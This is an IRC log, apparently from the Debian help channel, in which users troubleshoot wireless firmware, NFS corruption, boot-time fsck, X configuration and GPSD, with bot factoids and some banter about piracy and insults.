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| 02:03.39 | chuckkh | well I guess if /lib/firmware is the usual place maybe I just need to try all the possible drivers |
| 02:04.04 | abrotman | you mean firmwares ? |
| 02:04.06 | itchi | !beer everyone |
| 02:04.13 | itchi | better :-p |
| 02:04.19 | chuckkh | well fwcutter extracts the firmware from the driver file |
| 02:04.36 | chuckkh | and the README lists half a dozen driver files |
| 02:04.49 | enouf | geo-rge: I actually don;t mind Intel so much .. it's that one aspect i brought up that really bothers me .. suggest you purchase AMD(or another) is all |
| 02:04.49 | aib_ | i have my changelog formatted according to the gnu standards, which are different than those used for .deb changelogs. is this a problem for my package? |
| 02:04.54 | chuckkh | but the one from my Windows install doesn't work, big surprise |
| 02:05.19 | abrotman | chuckkh: http://bcm43xx.berlios.de/?go=devices .. yours in there ? |
| 02:05.19 | rahul | aib_: the debian changelog is different from the source changelog |
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| 02:05.28 | rahul | aib_: and yes, the debian changelog must be formatted correctly |
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| 02:05.35 | itchi | aib_: Take some packages as examples |
| 02:05.35 | abrotman | chuckkh: do an lspci and lspci -n .. paste them somewhere |
| 02:05.37 | abrotman | !paster |
| 02:05.37 | dpkg | paster is your friendly Debian pastebot. Visit http://channels.debian.net/paste to have paster paste your results. Ask me about <pastebin> if you want to use another site. |
| 02:05.45 | geo-rge | enouf: ok, good enough, thanks for the suggestion... that takes care of the original conversation... |
| 02:05.58 | chuckkh | abrotman: I'll let you know when the page loads |
| 02:05.59 | enouf | geo-rge: righto ;-) |
| 02:06.03 | chuckkh | oh |
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| 02:06.09 | chuckkh | 14e4:4311 |
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| 02:06.56 | abrotman | chuckkh: PCI-E card ? |
| 02:06.59 | mohadib | hello |
| 02:07.07 | geo-rge | but having had no suggestion on what commercial oses linuxbios supports, I'm probably (a) not going to use that and (b) not going to be influenced by gnu project in this matter |
| 02:07.28 | peteweez | Is there a units converter that can convert to one unit, then convert the remainder into another unit? Like take 70 ounces and come up with 4 pounds 6 ounces? Or convert degrees into degrees, minutes, and seconds? |
| 02:07.34 | abrotman | chuckkh: i don't see yours on the list |
| 02:07.35 | peteweez | Units won't do that AFAIK |
| 02:07.42 | abrotman | chuckkh: what does lspci say it is ? |
| 02:07.50 | mohadib | i have an agp dual head vid card and a pci vid card , it takes my windows a little bit to redraw after adding the sceond card and third monitor |
| 02:07.51 | rahul | peteweez: I think it does DD -> DMS |
| 02:08.07 | mohadib | would a better video card fix this? how can i make window redraws be faster? |
| 02:08.25 | abrotman | how bad is the PCI card ? |
| 02:08.41 | mohadib | its a geforce fx5200 with 256ram |
| 02:08.43 | geo-rge | peteweez: if you're already in ounces, you can use (integer versions of) / and % |
| 02:09.06 | chuckkh | http://channels.debian.net/paste/4893 |
| 02:09.14 | mohadib | but my mai card running two monitors is the same card but agp version |
| 02:09.14 | geo-rge | use % to get remainder, subtract it from the original number, then use / |
| 02:09.17 | peteweez | rahul: idk about that, I don't think it does. I really need convert ounces to pounds & ounces. Or convert inches to feet and inches...yes the American measurement system sucks @$$. |
| 02:09.22 | mohadib | im wondering if thats just not good enough |
| 02:09.28 | rahul | heh |
| 02:09.41 | PerfDave | geo-rge: How do you define a "commercial" operating system? |
| 02:09.46 | peteweez | geo-rge: I think I understand what you're saying, but can you give me example code |
| 02:09.58 | peteweez | PerfDave: it's sold for money. |
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| 02:10.04 | geo-rge | peteweez: no, you'll have to do that |
| 02:10.14 | peteweez | geo-rge: OK |
| 02:10.18 | PerfDave | peteweez: Like RedHat then? |
| 02:10.33 | abrotman | chuckkh: that's not good |
| 02:10.41 | peteweez | PerfDave: I'd say RedHat is benevolent commercial |
| 02:10.45 | chuckkh | dammit |
| 02:10.49 | peteweez | PerfDave: Commercial, but with good intentions |
| 02:10.50 | militant | hi folks. can't really google in my current condition. having trouble getting X resolution scaled down to 800x600? xf86config yes, but then what |
| 02:10.52 | geo-rge | PerfDave: specifically, win2k and/or macosx (good luck to me finding a copy of macosx without buying their hardware) |
| 02:11.01 | chuckkh | I saw elsewhere that 4311 worked |
| 02:11.17 | abrotman | you're using amd64 or i386 ? |
| 02:11.34 | abrotman | militant: don't use that |
| 02:11.39 | AZ_AS | yes, apt-get's working now! |
| 02:11.39 | abrotman | !drxx militant |
| 02:11.39 | dpkg | militant: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 02:11.45 | geo-rge | militant: condition? two left hands? fingers growing from knees? |
| 02:11.47 | krazykit | geo-rge: it's actually trivial to find it, but it's piracy nonetheless. |
| 02:11.50 | chuckkh | damn |
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| 02:12.03 | robin_sz | mmmm ... alcohol. the best bit of christmas |
| 02:12.06 | abrotman | you can buy OSX at the apple store |
| 02:12.10 | chuckkh | I'll have to try ndiswrapper with this pcmcia card |
| 02:12.14 | geo-rge | I'm completely willing to buy it |
| 02:12.15 | militant | k checking now |
| 02:12.24 | tacocat | does debian-etch have a security update entry for apt-get like testing & stable? |
| 02:12.29 | PerfDave | geo-rge: Oh, I could probably lay my hands on a few copies of OS X (including source) without *too* much difficulty ;) |
| 02:12.33 | geo-rge | I'm not willing to let them make my hw decisions |
| 02:12.35 | abrotman | chuckkh: it says it's minipci |
| 02:12.41 | krazykit | tacocat: etch is testing right now. |
| 02:12.42 | abrotman | tacocat: not yet |
| 02:12.43 | chuckkh | yes |
| 02:12.54 | chuckkh | abrotman: I have a pcmcia card in another machine |
| 02:12.57 | abrotman | oh ok |
| 02:13.06 | fulldisclosure | geo-rge, I use debian on a macbook. |
| 02:13.13 | chuckkh | anyone know a command to dismount a pcmcia card so I can remove it? |
| 02:13.13 | fulldisclosure | geo-rge, And I have OSX installed too. |
| 02:13.16 | peteweez | geo-rge: You could probably get OSX on BitTorrent |
| 02:13.19 | fulldisclosure | geo-rge, Both are good OS. |
| 02:13.40 | militant | hmm |
| 02:13.41 | peteweez | geo-rge: But that would be illegal, and we would never break the law, would we? ;) |
| 02:13.48 | geo-rge | fine... but I'm not willing to allow apple to force me to buy mac hardware |
| 02:14.01 | tacocat | OK. so we only have entries for testing & stable. |
| 02:14.02 | fulldisclosure | geo-rge, I bought this hw because I like it. |
| 02:14.04 | krazykit | geo-rge: then you're not willing to run osx |
| 02:14.08 | geo-rge | I'm not going to do anything illegal |
| 02:14.10 | peteweez | PerfDave: Inc. source? Is the Windows XP source out there somewhere? |
| 02:14.11 | militant | abrotman: was goni fine til it hung, lovely |
| 02:14.17 | geo-rge | fulldisclosure: cool |
| 02:14.22 | abrotman | okay |
| 02:14.27 | chuckkh | oh wait |
| 02:14.29 | fulldisclosure | geo-rge, debian is cool, fully do it yourself. |
| 02:14.30 | PerfDave | peteweez: Wasn't it leaked a while ago? Was talking about OS X though. |
| 02:14.52 | chuckkh | if I'm using ndiswrapper on a 64 bit machine I need 64 bit drivers, eh? |
| 02:14.52 | fulldisclosure | :-D |
| 02:15.00 | chuckkh | rather, on a 64 bit kernel |
| 02:15.03 | abrotman | probably .. ask #ndiswrapper |
| 02:15.07 | peteweez | PerfDave: no I meant, wouldn't the -FULL- XP source be available to some 133t dudes? |
| 02:15.10 | abrotman | i don't even think it works at all |
| 02:15.12 | abrotman | !ndiswrapper |
| 02:15.12 | dpkg | well, ndiswrapper is a way to wrap Windows drivers so that they can be used on Linux i386 only. If there is a Linux driver for your card, use that instead; if there isn't, email your manufacturer and ask for one (since it's better for everyone involved if there are real drivers), then ask me about "ndiswrapper one-liner" for information on setting up ndiswrapper. If you don't yet own a card, consider buying one that has real Linux drivers. |
| 02:15.17 | geo-rge | I'll pay them for their os, not going to buy their hardware |
| 02:15.49 | PerfDave | peteweez: "some 133t dudes"? |
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| 02:16.02 | chuckkh | lol this machine turned out to be a POS |
| 02:16.14 | geo-rge | peteweez: just so you know... I was NOT intending to open up that topic |
| 02:16.15 | EdLin | it's almost Sunday.... |
| 02:16.25 | EdLin | !permasunday |
| 02:16.25 | dpkg | All days in #debian will remain Sunday until further notice. Unfortunately, outside #debian the world keeps turning, so you still have to get up and go to work. Welcome to PermaTardsday!, or http://www.lyricsfreak.com/m/morrissey/96007.html |
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| 02:16.27 | peteweez | PerfDave: Like some people who really know where to get illegal stuff |
| 02:16.43 | peteweez | geo-rge: duly noted |
| 02:16.46 | abrotman | EdLin: even worse .. all the kids are out of school ;) |
| 02:16.58 | EdLin | abrotman: that's probably it. :) |
| 02:17.04 | geo-rge | ...so you understand you're continuing of your own volition |
| 02:17.04 | PerfDave | peteweez: LIke I say, ISTR that the Windows source was leaked a while back. Not whether it was XP or 2k though |
| 02:17.10 | jazzKaz | hi everybody, i have a problem: the /var partition should be mounted before than start the rcS, how i do ? a bootparam ? |
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| 02:17.36 | EdLin | I wouldn't touch Windows source with a ten-foot pole. Just looking at it would be a legal liability. |
| 02:17.42 | chuckkh | well thanks abrotman |
| 02:17.48 | geo-rge | jazzKaz: why? what's wrong with your /var partiton? |
| 02:17.51 | chuckkh | it's going to have to be windows xp for now |
| 02:18.06 | abrotman | chuckkh: install 32bit debian ... i bet you'll have more luck |
| 02:18.08 | abrotman | doh! |
| 02:18.10 | PerfDave | EdLin: Juwst having a copy would be... |
| 02:18.24 | EdLin | PerfDave: yep. |
| 02:18.43 | jazzKaz | geo-rge: the /var is on a different partition, S01 need the /var/run mounted |
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| 02:19.02 | geo-rge | jazzKaz: and why does it not? |
| 02:19.03 | krazykit | PerfDave: unless it's not in apt >_> |
| 02:19.17 | EdLin | krazykit: sf.net |
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| 02:20.40 | jazzKaz | geo-rge: the local partitions are mounted in S35 but /var/run is necesary in S01 |
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| 02:20.56 | geo-rge | when an amd64 or ia64 arch machine starts, is it in 32-bit single-cpu mode and therefore immediately compatable with 32bit? |
| 02:21.08 | abrotman | ia64 isn't amd64 |
| 02:21.10 | geo-rge | jazzKaz: why are you mounting it there? |
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| 02:21.19 | tacocat | how do I hard code a domain into a box? I know it's in /etc/resolv.conf but isn't there something META I need to edit? |
| 02:21.38 | PerfDave | krazykit: There's enough source code in apt to give me reading material for the rest of my life :) |
| 02:21.45 | geo-rge | abrotman: OK, np... handle each case separately starting with amd64? |
| 02:21.49 | EdLin | geo-rge: IA64 is Itanium - you aren't running it. |
| 02:22.01 | PerfDave | geo-rge: It's not a matter of "mode". The amd64 instruction chipset contains all the x86 instruction set. |
| 02:22.02 | jazzKaz | geo-rge: default installation mount in S35 |
| 02:22.11 | abrotman | geo-rge: amd64 is just 64bit extensions .. ia64 has a compatilibty mode or some crap |
| 02:22.26 | geo-rge | I know that :P I'm not running any 64b arch atm |
| 02:22.29 | EdLin | abrotman: IA64 no longer includes i386 compatability mode |
| 02:22.34 | itchi | geo-rge: Listen to people, it's the 3th time he tell it :-p |
| 02:22.41 | abrotman | EdLin: yeah .. tkae out the good parts :) |
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| 02:23.15 | EdLin | abrotman: heh |
| 02:24.24 | PerfDave | EdLin: is that the difference between Itanium and Itanium2? |
| 02:24.44 | EdLin | PerfDave: I don't know. |
| 02:24.45 | rahul | PerfDave: no, there are many differences |
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| 02:25.10 | rahul | PerfDave: they changed the number of processing units |
| 02:25.53 | PerfDave | rahul: The practical difference :) |
| 02:26.00 | geo-rge | itchi: ok... explain what I presently have, and say what I'm considering doing, and how probable do you think it will happen within the next week |
| 02:26.10 | rahul | PerfDave: that is a practical difference. it affects speed. |
| 02:26.18 | geo-rge | itchi: I'm trying :P |
| 02:26.21 | PerfDave | rahul: We were talking about instruciton sets. |
| 02:26.33 | muaddib | I was wondering if someone can point me into the right direction based on the issue that I am having. I have a 2 systems and I am transferring data via NFS. For some reason the client(the server mounting an nfs share) seems to be dropping packets on a Gigabit network using the tg3 driver. However performance gets so bad to the point where the interface restarts itself. The only error in the log is tg3: eth0: Link is down tg3: eth0: Link |
| 02:26.33 | PerfDave | rahul: There's little point using "Itanium" and "speed" in the same sentence :) |
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| 02:26.36 | muaddib | At this point i've done google searches on everything I can think and I am at my wits ends. The way that I am doing the transfer is by rsync. I am trying to transfer approximitely 8 million files and after 10 hours of transfer is when my problem occurs |
| 02:26.39 | muaddib | I would be eternally greatful if anyone has any insight into my problem |
| 02:27.20 | PerfDave | muaddib: Are you transferring by rsync, or NFS? |
| 02:27.42 | muaddib | PerfDave: using rsync over NFS |
| 02:27.57 | PerfDave | muaddib: That doesn't make any sense. |
| 02:28.03 | muaddib | PerDave: I attempted to do a cp and after 30 minutes of copying files my performance went to shit |
| 02:28.32 | PerfDave | muaddib: Why not just rsync between the two machines and leave NFS out of it? |
| 02:28.43 | castoff | rsyncing to an NFS mount is a bad idea |
| 02:30.23 | muaddib | PerDave: Unfortantely the other server doesn't have a Unix Shell |
| 02:30.45 | muaddib | castoff: Why pretell.. I am doing things is chunks not all at once |
| 02:30.49 | itchi | muaddib: rsync for windows?? |
| 02:30.51 | muaddib | and I have to do constant updates |
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| 02:31.25 | muaddib | itchi: No the NFS server is a solution by a company called OnStore that is running a BSD kernel, but doesn't have a shell |
| 02:31.38 | blackelf_ | rahul: well I tested it |
| 02:32.31 | blackelf_ | rahul: the most messurable improvment is to precache program and libs of a pogram (ldd) for programs like konsole, xterm, firefox, krusader and so on - its visible improvment |
| 02:33.00 | blackelf_ | but I dont know what are the names of programs, services etc that are started in kde desktop startup... |
| 02:33.24 | blackelf_ | can I log to a file all executions of programs, best - system wide? |
| 02:33.28 | abrotman | but only the first time :) |
| 02:33.42 | blackelf_ | abrotman: yeah, its only improving startup |
| 02:34.00 | abrotman | does it improve boottime to KDM .. or just application loading ? |
| 02:34.12 | blackelf_ | application loading |
| 02:34.23 | abrotman | so your original goal hasn't been met ? |
| 02:34.24 | blackelf_ | I dont know what programs to preload to improve KDE desktop loading |
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| 02:34.41 | abrotman | you could try initng |
| 02:34.54 | blackelf_ | abrotman: I have like 10 apps auto starting (korganizer, konsole, clock and so on) - it do help with them |
| 02:35.29 | blackelf_ | btw, how to tell debian |
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| 02:35.41 | blackelf_ | to not try to mount noauto devices |
| 02:36.08 | blackelf_ | it tries to mount all devices from fstab, it fails since some need password (looaes) and it tells me to go into maintance mode or ctrl-D |
| 02:36.10 | blackelf_ | how to stop it? |
| 02:36.25 | abrotman | <PROTECTED> |
| 02:36.25 | abrotman | <PROTECTED> |
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| 02:36.48 | blackelf_ | abrotman: yet debian tries to mount even noauto partitions on boot. wtf? |
| 02:37.42 | itchi | blackelf_: Is that not kernel related? |
| 02:37.46 | blackelf_ | abrotman: check out init.d/mountall.sh - its crazy hand parsing fstab script |
| 02:37.49 | abrotman | blackelf_: then something is explicitly trying to mount them |
| 02:37.55 | blackelf_ | itchi: I dont think so |
| 02:38.20 | blackelf_ | debian's S35mountall is not simply calling mount -a, its trying to hand parse fstab |
| 02:38.50 | abrotman | don't like it .. file a bug |
| 02:38.54 | blackelf_ | ouch. |
| 02:38.56 | mc__ | blackelf_: guy,dont you need sleep? |
| 02:39.03 | blackelf_ | mc__: no |
| 02:39.17 | mc__ | blackelf_: are you on caffeine? |
| 02:39.33 | blackelf_ | no |
| 02:39.40 | blackelf_ | mc__: do you do your sister? |
| 02:39.47 | mc__ | blackelf_: wtf? |
| 02:39.58 | blackelf_ | oh, I thought we where playing "Stupid questions" |
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| 02:40.30 | mc__ | blackelf_: we were,but i dont understand your question :) |
| 02:40.38 | abrotman | he's being an ass ... |
| 02:42.13 | blackelf_ | abrotman: wanted to be more like Guerin, now as I read docs that was missing |
| 02:42.43 | abrotman | blackelf_: you're not nearly that smart :) |
| 02:42.51 | blackelf_ | interesting, 2.6.19.1 fails to reboot my main board |
| 02:42.58 | blackelf_ | abrotman: you dont know me |
| 02:43.02 | abrotman | blackelf_: you'd ask #kernel about that |
| 02:43.24 | blackelf_ | no, #kernel is inavtive, its probably task for kerenl mailing list |
| 02:43.30 | abrotman | blackelf_: can't i just guess based on the questions you ask? :) |
| 02:43.35 | abrotman | blackelf_: ##kernel ? |
| 02:43.40 | abrotman | #kernel forwards to ##kernel |
| 02:43.59 | itchi | Where should i find that S35mountall ? |
| 02:44.10 | abrotman | itchi: /etc/init.d/mountall |
| 02:44.11 | blackelf_ | itchi: or S53mount is it? in init.d |
| 02:44.24 | abrotman | whatever it is .. they're all symlinks to /etc/init.d |
| 02:44.35 | blackelf_ | itchi: when I executed it manually it didnt ask for the ctrl+d |
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| 02:44.46 | itchi | abrotman: Thanks, looks like i not have an symlink |
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| 02:45.36 | blackelf_ | abrotman: yes, I ask too many silly questions, like, how to haxor my brothers box, what is xterm, why shouldnt I run all as root |
| 02:45.43 | itchi | That's not default symlinked to any runlevel? |
| 02:45.58 | blackelf_ | too bad I cant figure out interesting ones, like, how about rewriting kernel memory pressure model to better support precaching |
| 02:46.26 | abrotman | blackelf_: see .. that's your problem! |
| 02:47.10 | blackelf_ | can I debug init? to know which step is beeing executed now |
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| 02:47.28 | abrotman | blackelf_: which applications would you like to load before KDE starts ? |
| 02:47.46 | blackelf_ | abrotman: the ones needed to start up kde |
| 02:47.57 | abrotman | so basically . kdelibs ? |
| 02:48.03 | abrotman | but shouldn't kdm have already started those ? |
| 02:48.05 | blackelf_ | and all the services |
| 02:48.12 | blackelf_ | I actually use gdm |
| 02:48.16 | abrotman | oh |
| 02:48.30 | rahul | heh |
| 02:48.30 | blackelf_ | kdm start all services while waiting? |
| 02:48.30 | geo-rge | you could use kdm |
| 02:48.42 | geo-rge | I mean, you want kde, right? |
| 02:48.48 | rahul | kdm won't log you in before you log in.... |
| 02:48.53 | abrotman | kdm would load up some of the libs i guess |
| 02:49.05 | blackelf_ | anyway, somewhere quite early after basic kernel boot, system tries to mount ALL my partitions |
| 02:49.08 | abrotman | but it's not going to start karamba or anything like that .. AFAIK |
| 02:49.18 | blackelf_ | even thoes which are noauto in fstab - and thoes are loopaes so they fail |
| 02:49.22 | geo-rge | ay! |
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| 02:49.29 | geo-rge | karamba! |
| 02:49.33 | blackelf_ | no wait.. actually it tries to fsck them, that is the problem |
| 02:49.54 | geo-rge | they'll get pregnant by the time the system boots? |
| 02:49.57 | blackelf_ | debian init try to fsck all partitions, even thoes encrypted |
| 02:49.58 | rahul | um |
| 02:50.07 | rahul | blackelf_: where does it parse the fstab? |
| 02:50.08 | abrotman | if it's been 30 times or so .. yeah |
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| 02:50.18 | blackelf_ | therefore fails -> asks me for root passwd / ctrl+d |
| 02:50.18 | rahul | mount -a -t nonfs,nfs4,smbfs,cifs,ncp,ncpfs,coda,ocfs2,gfs -O no_netdev |
| 02:50.31 | blackelf_ | rahul: /etc/init.d/mountall.sh |
| 02:50.36 | rahul | ... |
| 02:50.47 | blackelf_ | rahul: bellow is text about searching for noauto |
| 02:51.06 | rahul | below where? |
| 02:51.11 | blackelf_ | anyway its not mountall fault, but the init script which fscks all |
| 02:51.12 | blackelf_ | rahul: wait |
| 02:51.19 | abrotman | it doesn't fsck them every boot |
| 02:51.27 | blackelf_ | btw how to tell system to use kdm instead gdm |
| 02:51.27 | abrotman | and it doesn't fsck them all |
| 02:51.34 | rahul | blackelf_: uninstall gdm |
| 02:51.35 | blackelf_ | abrotman: it does here |
| 02:51.37 | abrotman | it fscks the ones that have reached the mount count |
| 02:51.39 | geo-rge | bellow is a mellow yellow |
| 02:51.48 | abrotman | blackelf_: have you let them fsck since it started trying ? |
| 02:51.52 | blackelf_ | abrotman: well so my encrypted partition did reach it |
| 02:52.03 | abrotman | and until you let it fsck . it's going to keep trying |
| 02:52.14 | geo-rge | what dist is this package in: |
| 02:52.22 | geo-rge | libstdc++5 |
| 02:52.32 | abrotman | woody ? |
| 02:52.39 | geo-rge | that old? |
| 02:52.52 | rahul | 1:3.3.6-13(/var/lib/apt/lists/debian.lcs.mit.edu_debian_dists_unstable_main_binary-i386_Packages)(/var/lib/apt/lists/de |
| 02:52.55 | rahul | bian.lcs.mit.edu_debian_dists_testing_main_binary-i386_Packages)(/var/lib/dpkg/status) |
| 02:52.58 | rahul | 1:3.3.5-13(/var/lib/apt/lists/debian.lcs.mit.edu_debian_dists_stable_main_binary-i386_Packages) |
| 02:52.59 | abrotman | http://packages.debian.org/libstdc++5 geo-rge |
| 02:53.02 | geo-rge | so everything it depends on is that old too, yes? |
| 02:53.12 | abrotman | oh .. it's still in sid |
| 02:53.19 | rahul | wtf. where did that line wrap come from? |
| 02:53.41 | rahul | oh I was using less |
| 02:54.16 | geo-rge | yeah, and stable and etch... so it looks like I'm ok keeping that |
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| 02:55.07 | geo-rge | ok got rid of ALL my old compilers... now let's see what happens when I build my kernel |
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| 02:55.18 | blackelf_ | geo-rge: lol? |
| 02:55.27 | blackelf_ | geo-rge: on testing g++ 4.0 is default |
| 02:55.34 | abrotman | 4.1 |
| 02:55.44 | blackelf_ | 4.1.2 even |
| 02:55.49 | geo-rge | I got 4.1 myself |
| 02:55.56 | blackelf_ | and it perfectly compiles kernels like 2.6.19.1 |
| 02:56.07 | geo-rge | good, let's see if that |
| 02:56.13 | geo-rge | actually is the case :) |
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| 02:57.11 | blackelf_ | my CPU have 40% of IDLE time, 70% of system, and 90 in user |
| 02:57.29 | geo-rge | wow! a 200% cpu! |
| 02:57.35 | blackelf_ | indeed \o/ |
| 02:58.22 | tuv | i'm having problems transferring files over nfs from x86 to arm. a file copy produces different md5 on the two hosts |
| 02:58.30 | tuv | what could cause this? |
| 02:58.44 | mc__ | the nixu problem :) |
| 02:58.45 | blackelf_ | tuv: different /etc/md5.conf of course |
| 02:58.53 | abrotman | tuv: transfer it back ... |
| 02:59.00 | geo-rge | abrotman, do you happen to know (a) is there an easy way to have the ide drives handled by half of a dual core and the processes by the other half? |
| 02:59.08 | blackelf_ | tuv: transfer it as binary |
| 02:59.13 | abrotman | geo-rge: nerp |
| 02:59.21 | abrotman | onyl windows says binary/ascii |
| 02:59.27 | tuv | blaamann, abrotman: i ran md5sum on the two files from the same host: once local and once over nfs |
| 02:59.48 | geo-rge | if you understand binary, why do you have to askii? |
| 02:59.50 | abrotman | tuv: right .. transfer the file back to the original .. see if it's the original md5 |
| 02:59.57 | geo-rge | sorry... couldnb't resist |
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| 03:00.15 | Acu | why if I add an external hard disk (Lacie designed by Porshe) I can see the content but I cannot write - and I cannot change the permissions even as root ? |
| 03:00.19 | blackelf_ | arg |
| 03:00.40 | geo-rge | maybe because ford bought porshe? |
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| 03:00.51 | abrotman | blackelf_: would you like to retract what you said earlier? :) |
| 03:01.15 | geo-rge | what's a nerp??! |
| 03:01.17 | blackelf_ | abrotman: no it is unmounted after all, but there is a corrupion |
| 03:01.36 | abrotman | geo-rge: underwater fart |
| 03:01.48 | blackelf_ | geo-rge: I am also amused as my kernel jungles tasks betwwen both cores |
| 03:01.54 | Acu | geo-rge: OK, so what, you stilll be able to change the access rights :) |
| 03:01.57 | tuv | abrotman, i'm transerring it back right now. but i'm pretty sure corruption occurs. i transferred a zip file once and 'unzip -t' reported corruption |
| 03:02.14 | blackelf_ | tuv: was it goverment.txt.zip ? |
| 03:02.31 | abrotman | tuv: that's no good |
| 03:02.51 | geo-rge | abrotman: so you didn't know the answer to prev question? (just asking...)( |
| 03:02.59 | tuv | abrotman, you mean that doesn't mean there is corruption? |
| 03:03.17 | abrotman | tuv: the zip file |
| 03:03.21 | abrotman | geo-rge: no .. i do not |
| 03:03.25 | geo-rge | ok |
| 03:03.28 | blackelf_ | can I log all applications started? like log time and name of binary and so on |
| 03:03.51 | tuv | abrotman, ok.. how about jpeg's that don't look the same? sort of mangled blocks |
| 03:04.07 | abrotman | tuv: something isn't working right :)\ |
| 03:04.07 | blackelf_ | tuv: perhaps the unix/dos EOL problem \n\r |
| 03:04.18 | geo-rge | blackelf_: maybe but you'd have to arrange it all yourself |
| 03:04.22 | blackelf_ | tuv: transfer same file twice and see if both copies match |
| 03:04.26 | abrotman | if they're both linux ? |
| 03:04.27 | tuv | blackelf_, no dos/win around here |
| 03:04.27 | geo-rge | it's not like there's a setting to do that |
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| 03:04.46 | tuv | abrotman, yes both. x86 and arm |
| 03:04.49 | Acu | today, nothing is working - I have 40 GB in a Debian RC1 machine - I want to burn it on Double Layer - doesnot work - I want to transfer to a windows laptop (it does it at 599kb /min) - I attach a RW DVD and it writes with 36k b/min - I attache a Porshe Design Lacie External Hardisk (280GB) but I cannot write on it from Linux - what the heck is that? |
| 03:04.53 | blackelf_ | geo-rge: well is thre a kernel userspace intrface for that? so I can code it in C |
| 03:04.54 | abrotman | tuv: that was for blackelf_ .. not you |
| 03:05.06 | abrotman | blackelf_: so you're going to load the apps before they load ? |
| 03:05.26 | tuv | abrotman, hmm.. got excited.. |
| 03:05.32 | abrotman | down boy |
| 03:05.36 | blackelf_ | abrotman: such logging would be usable for meany things, including writting down apps to preload, and for security - like log who used what |
| 03:05.58 | abrotman | blackelf_: IIRC .. there is a way |
| 03:06.15 | abrotman | process accounting or something |
| 03:06.25 | blackelf_ | well I could use grsecurity and tell it to account / X |
| 03:06.44 | blackelf_ | I must force self to have time to continiue work on grsec |
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| 03:06.58 | blackelf_ | wait, what about atop |
| 03:07.09 | abrotman | like top in batch mode |
| 03:07.09 | abrotman | ? |
| 03:07.10 | blackelf_ | it dispalys all apps, both running now and already finished |
| 03:07.21 | blackelf_ | apt-get install atpo |
| 03:07.22 | blackelf_ | atpo |
| 03:07.24 | blackelf_ | damn |
| 03:07.25 | blackelf_ | atop |
| 03:07.55 | blackelf_ | yey, atop supporting logging. |
| 03:08.06 | blackelf_ | so... I just have to run it before startx, neat. |
| 03:08.10 | CrazednDazed | Using parted to partition and external hd. How can I tell parted to use the most possible space, or how can I see what sector (number) to type in for last, when I'm creating a new partitioN? |
| 03:08.20 | tuv | abrotman, i'm sure there is a problem with the arm nfs server. often i get an error message at the end of file transfer. and dmesg is full of 'nfsd: non-standard errno: -14'. any hints what could that mean? |
| 03:08.45 | abrotman | not a clue ... bts has nothing ? |
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| 03:12.53 | abrotman | !moo |
| 03:12.53 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you could be too; join us all! type apt-get moo. |
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| 03:13.46 | blackelf_ | <PROTECTED> |
| 03:13.46 | blackelf_ | <PROTECTED> |
| 03:14.04 | blackelf_ | that one is shy. |
| 03:16.09 | tuv | abrotman, no, nothing in bts |
| 03:16.22 | abrotman | tuv: only one nfs server ? |
| 03:17.10 | tuv | abrotman, well there are few nfsd processes running, but other than than how would i get more than one? |
| 03:17.19 | tuv | server? |
| 03:17.20 | abrotman | i meant .. onlyone machine ? |
| 03:17.50 | tuv | abrotman, both machines have nfs servers running, but the problem is present on one only and in one direction only |
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| 03:18.20 | illwolf | ok |
| 03:18.22 | abrotman | tuv: ouch .. even worse |
| 03:18.25 | illwolf | i have a rar file two of them |
| 03:18.32 | illwolf | and how do i unrar 2 parts? |
| 03:20.04 | itchi | illwolf: Look for available stuff apt-cache search rar |
| 03:20.26 | illwolf | ohh really? |
| 03:20.33 | illwolf | i already have unrar |
| 03:20.44 | illwolf | but how the hell do i extract it |
| 03:20.47 | itchi | illwolf: Look how to use it?? |
| 03:20.52 | illwolf | i use unrar -e file.rar |
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| 03:20.59 | illwolf | but its 2 parts they a linked. |
| 03:21.04 | illwolf | i did? |
| 03:21.13 | itchi | illwolf: Should be done automatically |
| 03:21.32 | illwolf | well it doesnt |
| 03:21.52 | tuv | abrotman, i transferred the file back and the md5 still doesn't match |
| 03:22.09 | abrotman | tuv: does it match either system ? |
| 03:22.19 | illwolf | Extracting from /home/illwolf/Desktop/VA-Eminem_Presents_The_Re-Up-2006-RNS.part1.rar |
| 03:22.19 | illwolf | Extracting VA-Eminem_Presents_The_Re-Up-2006-RNS/.crc Failed |
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| 03:23.13 | itchi | illwolf: Bad illegal download :-) |
| 03:23.22 | abrotman | bad in more than one way |
| 03:25.50 | illwolf | ? |
| 03:25.53 | illwolf | idiot. |
| 03:26.05 | itchi | illwolf: You?? |
| 03:26.08 | DerJamster | 'not true, I ripped it myself!' |
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| 03:26.16 | illwolf | nah ur mother. |
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| 03:26.24 | illwolf | wait that wasnt a mothers joke |
| 03:26.25 | illwolf | ;] |
| 03:26.30 | abrotman | !tell illwolf about ur |
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| 03:26.33 | itchi | illwolf: Mayb, first learn to write |
| 03:26.52 | jeeves_Moss | all: can anyone help me with getting GPSD to work properly? |
| 03:27.06 | illwolf | lol retard. |
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| 03:27.16 | itchi | illwolf: Who, you?? |
| 03:27.25 | jeeves_Moss | illwolf: are you refering to me? |
| 03:27.26 | illwolf | no you |
| 03:27.32 | illwolf | YOU!!? |
| 03:27.33 | abrotman | !lol |
| 03:27.34 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 03:27.38 | DerJamster | Ah yes, the overflow of intelligence in this discussion is amusing ;) *grabs popcorn* |
| 03:27.39 | jeeves_Moss | !kick illwolf |
| 03:27.44 | itchi | !kick illwolf Be respect |
| 03:28.05 | illwolf | k |
| 03:28.07 | illwolf | dickhead. |
| 03:28.12 | jeeves_Moss | itchi: are you any good with GPSD? |
| 03:28.29 | itchi | jeeves_Moss: Not have an GPS :-/ |
| 03:28.48 | jeeves_Moss | itchi: ok, I'm trying to get my USB GPS to work properly. |
| 03:29.09 | jeeves_Moss | abrotman: do you have any ideas on getting GPSD to work? |
| 03:29.30 | abrotman | load hte module! |
| 03:29.44 | abrotman | no .. i don't have a GPS device |
| 03:29.55 | abrotman | not many do |
| 03:30.03 | jeeves_Moss | abrotman: ok, I can't get it to behave with my GPS-360 USB GPS |
| 03:30.11 | abrotman | behave ? |
| 03:30.16 | jeeves_Moss | abrotman: is there anything better? |
| 03:30.45 | abrotman | than behaving ? |
| 03:31.07 | jeeves_Moss | abrotman: well, I can give you the error that it's giving me if you've got a few mins to help me sort it out. |
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| 03:31.23 | abrotman | i can look .. might not be able to help much |
| 03:31.36 | DaveyB | How do i clear my printer queue within the terminal as root |
